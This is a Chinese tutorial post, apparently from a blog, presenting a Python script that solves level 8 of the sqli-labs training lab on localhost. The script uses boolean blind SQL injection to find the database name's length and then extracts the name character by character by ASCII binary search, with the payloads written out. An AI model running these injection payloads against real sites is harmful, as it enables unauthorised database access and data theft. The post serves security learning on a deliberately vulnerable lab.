sqli-labs 第八关盲注python脚本

目录

​编辑

判断库名

1.库名长度

2.库名


复制代码
import requests
import math

url = "http://127.0.0.1/Less-8"

def dblength():
    for i in range(20):
        payload = f"1' and length(database())>{i}-- "
        data = {'id': payload}
        res = requests.get(url, params=data)
        if 'You are in...........' not in res.text:
            return i

def dbname():
    dbname = ''
    length = dblength()
    for i in range(1, length + 1):
        low = 32
        high = 126
        flag = 0
        while low <= high:
            mid = (low + high) // 2
            payload = f"1' and ascii(substr(database(),{i},1))>{mid}-- "
            data = {'id': payload}
            res = requests.get(url, params=data)
            if 'You are in...........' in res.text:
                low = mid
            else:
                high = mid
            if mid == flag:
                dbname += chr(math.floor(mid + 1))
                break
            flag = mid
        print(dbname)
    return dbname


print('dbname is', dbname())

判断库名

1.库名长度

当大于一个不存在的长度的时候,就不会回显:

但是这个长度存在的话,会返回一个"You are in.........":

所以payload是1' and length(database())>{i}--+

复制代码
def length():
    for i in range(20):
        payload = f"1' and length(database())>{i}-- "
        data = {'id': payload}
        res = requests.get(url, params=data)
        if 'You are in...........' not in res.text:
            return i

2.库名

长度已经得出来了,然后就一个字符一个字符的判断是什么:

复制代码
payload:1' and ascii(substr(database(),1,1))>33--+

1.用ascll码对应字母数字,且范围是32-126

2.当没有返回值的时候就说明等于而不是大于,就得出值了。

3.加上二分法判断,比直接遍历要快

相关推荐
PythonFun1 分钟前
如何在WPS实现平行语料库简易检索
数据库·wps
CCPC不拿奖不改名2 分钟前
提示词工程(Prompt Engineering)全体系知识手册
大数据·人工智能·python·搜索引擎·prompt
ruxshui2 分钟前
Inceptor/hive中整数类型分桶键数据倾斜问题及优化方案
大数据·数据库·sql
OnYoung3 分钟前
Python生成器(Generator)与Yield关键字:惰性求值之美
jvm·数据库·python
亚林瓜子10 分钟前
AWS中国云中的ETL之从Amazon Glue Data Catalog搬数据到MySQL(Glue版)
python·mysql·spark·etl·aws·glue·py
Albert Tan16 分钟前
Oracle EBS 12.2.14双应用节点应用补丁-ADOP
数据库·oracle
Aurora-Borealis.18 分钟前
Day44 简单CNN
python
觉醒大王20 分钟前
简单说说参考文献引用
java·前端·数据库·学习·自然语言处理·学习方法·迁移学习
总有刁民想爱朕ha21 分钟前
Python YOLOv8 进阶教程
开发语言·python·yolo
葱明撅腚25 分钟前
shapely空间数据分析
python·pandas·gis·shapely